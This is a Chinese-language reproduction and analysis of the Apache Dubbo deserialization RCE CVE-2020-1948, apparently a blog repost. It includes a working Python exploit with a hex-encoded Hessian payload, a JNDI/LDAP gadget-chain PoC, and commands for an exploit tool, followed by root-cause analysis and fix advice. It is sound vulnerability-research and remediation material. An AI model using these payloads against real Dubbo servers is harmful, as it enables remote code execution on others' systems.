Dubbo 漏洞 CVE-2020-1948 复现+简单修复
Dubbo 漏洞 CVE-2020-1948 复现+简单修复
本文转自 JingQ 并作补充
关注该漏洞的童鞋,应该对
Dubbo这个架构优秀的RPC框架不陌生,所以直入主题
漏洞详情
腾讯安全玄武实验室研究员发现,
Dubbo 2.7.6或更低版本采用的默认反序列化方式存在代码执行漏洞,当Dubbo服务端暴露时(默认端口:20880),攻击者可以发送未经验证的服务名或方法名的RPC请求,同时配合附加恶意的参数负载。当恶意参数被反序列化时,它将执行恶意代码。经验证该反序列化漏洞需要服务端存在可以被利用的第三方库,而研究发现极大多数开发者都会使用的某些第三方库存在能够利用的攻击链,攻击者可以利用它们直接对
Dubbo服务端进行恶意代码执行,影响广泛。
影响版本
dubbo 2.7.6 以下的版本
复现环境
- mac 10.15
- idea 2020.1
- jdk-8u151(下载地址)
漏洞注入简介
漏洞发现者
rui0,使用Remo模块,最终是通过JdbcRowSetImpl调用jndi来进行远程代码执行由于该场景复现依赖于低版本的 jdk,之前使用 jdk-8u221 没能复现,去官网下载回低版本,使用低版本后成功复现
名词解释
- PoC:
Proof Of Concept的缩写。在黑客圈指:观点验证程序。- CVE:
Common Vulnerabilities & Exposures通用漏洞披露。- Exp:
Exploit,在安全方面,翻译为 「利用」,指利用漏洞进行攻击的动作。- Payload:翻译为「有效负荷」,指成功
exploit后,在目标系统执行的代码或指令。- RCE:
remote code execution远程命令执行,简称RCE漏洞。- RMI: 专为
Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法并获取执行结果,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。- LDAP: 轻量级目录访问协议,目录服务是一种以树状结构的目录数据库为基础,外加各种访问协议的信息查询服务
- JNDI:
Java Naming and Directory Interface,包括Naming Server和Directory Server。是一种Java API,允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。以上大概就是本次漏洞所涉及到的专业名词,先有个大概了解,后面的内容看的应该比较明白。
漏洞复现
复现场景翻阅了很多篇文章和尝试,发现通过别人构造的
payload来复现最为简单,所以这里记录一下复现的流程
模拟 Provider
攻击依赖于
rome工具包中的ToStringBean工具,所以无论下载什么提供者项目,都需要将以下依赖加入到POM.xml文件中
1
2
3
4
5 <dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>以
dubbo-spring-boot-project说明
- 一、在
github下载示例代码,切换分支到 2.7.6 或更早之前- 二、在
pom.xml中加入上面提到的remo依赖- 三、打包启动
1
2
3
4
5
6 // 下载
$ git clone https://github.com/apache/dubbo-spring-boot-project.git
// 切换分支
$ git checkout 2.7.6
// 添加完依赖后,打包
$ mvn clean install -DskipTests
- 四、启动服务提供者
启动的时候,注意要用低版本的
JDK,使用IDEA的话,可以在这里选择编译运行的JRE
接着启动
Provier即可
运行 JNDI 程序
使用了该位大佬的
PoC,里面注入的URL是ldap://127.0.0.1:1389/Exploit,具体原理可以 参考资料六具体原理说明:
以下内容引用自 Apache Dubbo Provider反序列化漏洞(CVE-2020-1948) 利用复现及POC
- 一、下载注入工具代码
1 $ git clone https://github.com/sayers522/JNDI-Injection-Exploit
- 二、编译工具包,在
target目录生成
1 $ mvn clean install -DskipTests
- 三、运行
JNDI工具包
1 $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]例如测试时,执行的命令是打开计算器,可以执行下面命令
1 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /System/Applications/Calculator.app" -A 127.0.0.1
构造 POC
编辑以下 Python 脚本,触发 dubbo provider 反序列化,例如以漏洞名来命名为
2020_1948.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14 #-*-coding:utf-8-*-
import socket
def sendEvilObjData(sock):
payload="DABBC20000000000000000000000037805322E302E3230366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636505312E302E300474657374124C6A6176612F6C616E672F4F626A6563743B48433027636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E457175616C734265616E92036F626A096265616E436C61737360433029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E92036F626A096265616E436C61737361431D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706CAC06706172616D73096C697374656E657273036D61700A6368617253747265616D0B617363696953747265616D0D756E69636F646553747265616D0C62696E61727953747265616D0F7374724D61746368436F6C756D6E730D694D61746368436F6C756D6E73057265734D4406726F77734D4402727302707304636F6E6E09666574636853697A650866657463684469720969736F6C6174696F6E1065736361706550726F63657373696E6708726561644F6E6C790B636F6E63757272656E63790C6D61784669656C6453697A65076D6178526F77730C717565727954696D656F75740B73686F7744656C657465640A726F77536574547970650A64617461536F757263650355524C07636F6D6D616E64624D136A6176612E7574696C2E486173687461626C655A4E4E4E4E4E4E56106A6176612E7574696C2E566563746F729A03666F6F4E4E4E4E4E4E4E4E4E56919A8F8F8F8F8F8F8F8F8F8F4E4E4E4E4E90CBE8925454CBF090909046CBEC1D6C6461703A2F2F3132372E302E302E313A313338392F4578706C6F69744E4E430F6A6176612E6C616E672E436C61737391046E616D65631D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706C633029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E5191519151915A48047061746830366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636509696E7465726661636530366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F536572766963650776657273696F6E05312E302E305A"
sock.send(payload.decode('hex'))
def run(dip,dport):
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server_addr=(dip,dport)
sock.connect(server_addr)
sendEvilObjData(sock)
run("127.0.0.1",12345)最终复现效果:
漏洞小结
- 1、下载
demo代码,加入rome依赖- 2、启动
JNDI服务- 3、构造
2020-1948.pyPoc 攻击
漏洞原理简述
网上公布的
PoC代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24 from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
client = DubboClient('127.0.0.1', 12345)
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:8087/#ExportObject",
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',
method_name='rce',
args=[toStringBean])本次漏洞利用的是
com.rometools.rome.feed.impl.ToStringBean#toString方法,重写了toString,该方法将会调用构造对象的所有getter方法
从上面
PoC可以看到,执行Dubbo调用时,传入的是ToStringBean类型参数,构造的对象是com.sun.rowset.JdbcRowSetImpl,并且datasource属性设置的是JNDI暴露的url,在调用JdbcRowSetImpl的getDatabaseMetaData方法时,执行connect操作,下载远端代码,在Service Provider执行,造成攻击。
调起
toString方法的地方是在Dubbo Provider接收DecodeHandler#received:44请求,在DecodeableRpcInvocation#decode反序列化参数的地方:
dubbo默认使用的是hession2序列化,解析参数执行的是这个方法org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readUTF
在
hession反序列化过程中,通过下面代码段执行到了ToStringBean#toString
至此,注入攻击的流程到这里执行完成。可以参考左下侧的堆栈链路:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24 connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
社区讨论&安全网站修复建议
合并社区
aquariuspj用户给出的对DecodeableRpcInvocation增加入参类型校验漏洞发现者
rui0建议删除RpcInvocation类的toString方法中输出的arguments参数,防范后反序列化攻击。同时对Hessian进行黑白名单加固来防范Hessian反序列化攻击。
评论建议目前官方还未发布针对此漏洞绕过手法的补丁,在阿里云提供一个月的默认防御期限内,建议客户参考以下方法进行缓解,并关注官方补丁动态,及时进行更新:
- 1、升级 2.7.7 版本,并根据https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de 的方法进行参数校验
- 禁止将
Dubbo服务端端口开放给公网,或仅仅只对能够连接至Dubbo服务端的可信消费端IP开放Dubbo协议默认采用Hessian作为序列化反序列化方式,该反序列化方式存在反序列化漏洞。在不影响业务的情况下,建议更换协议以及反序列化方式。具体更换方法可参考:http://dubbo.apache.org/zh-cn/docs/user/references/xml/dubbo-protocol.html
思考分析&修复思路
复现条件有限
需要引入
rome类型的jar包,包含特殊的构造方法和toString方法(或许还有其它攻击点)
社区讨论内容
社区讨论和
commit的内容,增加了前置校验,在反序列化之前判断服务或方法是否有效,非$invoke或$echo方法将会抛出错误,不进行参数的反序列化,增加了一点攻击难度。但由于方法名methodName可以用户自定义,所以修改方法名还是有可能跳过校验,触发漏洞
结合业务分析
业务方使用
rome依赖的很少,构造这种类型的攻击,由于没有这个类,在provider反序列化时会提前报classNotFoundException,没有执行到readObject方法,从而无法攻击。综上所述,考虑到修复难度和影响范围,最后对 dubbo 修改方案如下:
- 1、合并社区针对改漏洞的修复分支 #6374
- 2、将
RpcInvocation#toString方法中Arrays.toString(arguments)移除,避免对输入参数进行反序列化
絮叨
隔行如隔山,一山还有一山高,修复漏洞真困难。感慨漏洞发现者们,多亏这些白帽子的仔细,揭露了这么多可攻击点,将漏洞信息提交到安全中心,让使用方了解到漏洞详情。
还有
Dubbo这个中间件的社区活跃度很高,出现问题后,大家讨论的热情高涨,积极去修复漏洞,社区活跃度高,代码更新快,支持的功能越来越多,使用起来也更放心。通过这次分析,了解到挺多基础的安全知识,感觉随着开源代码被研究更透彻,可供攻击的点也越来越多,在代码设计和编写时,也得注意一下安全信息,避免被攻击。
参考资料
1、Apache Dubbo Provider 远程代码执行漏洞 (CVE-2020-1948)
2、Apache Dubbo Provider反序列化漏洞(CVE-2020-1948) 利用复现及POC
3、Apache Dubbo (CVE-2020-1948) 反序列化漏洞及其补丁绕过深度分析
4、Apache Dubbo漏洞CVE-2020-1948分析
5、Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)
8、Apache Dubbo Provider反序列化漏洞(CVE-2020-1948)
10、渗透中 PoC、Exp、Payload 与 Shellcode 的区别
11、Github 社区讨论







































































































































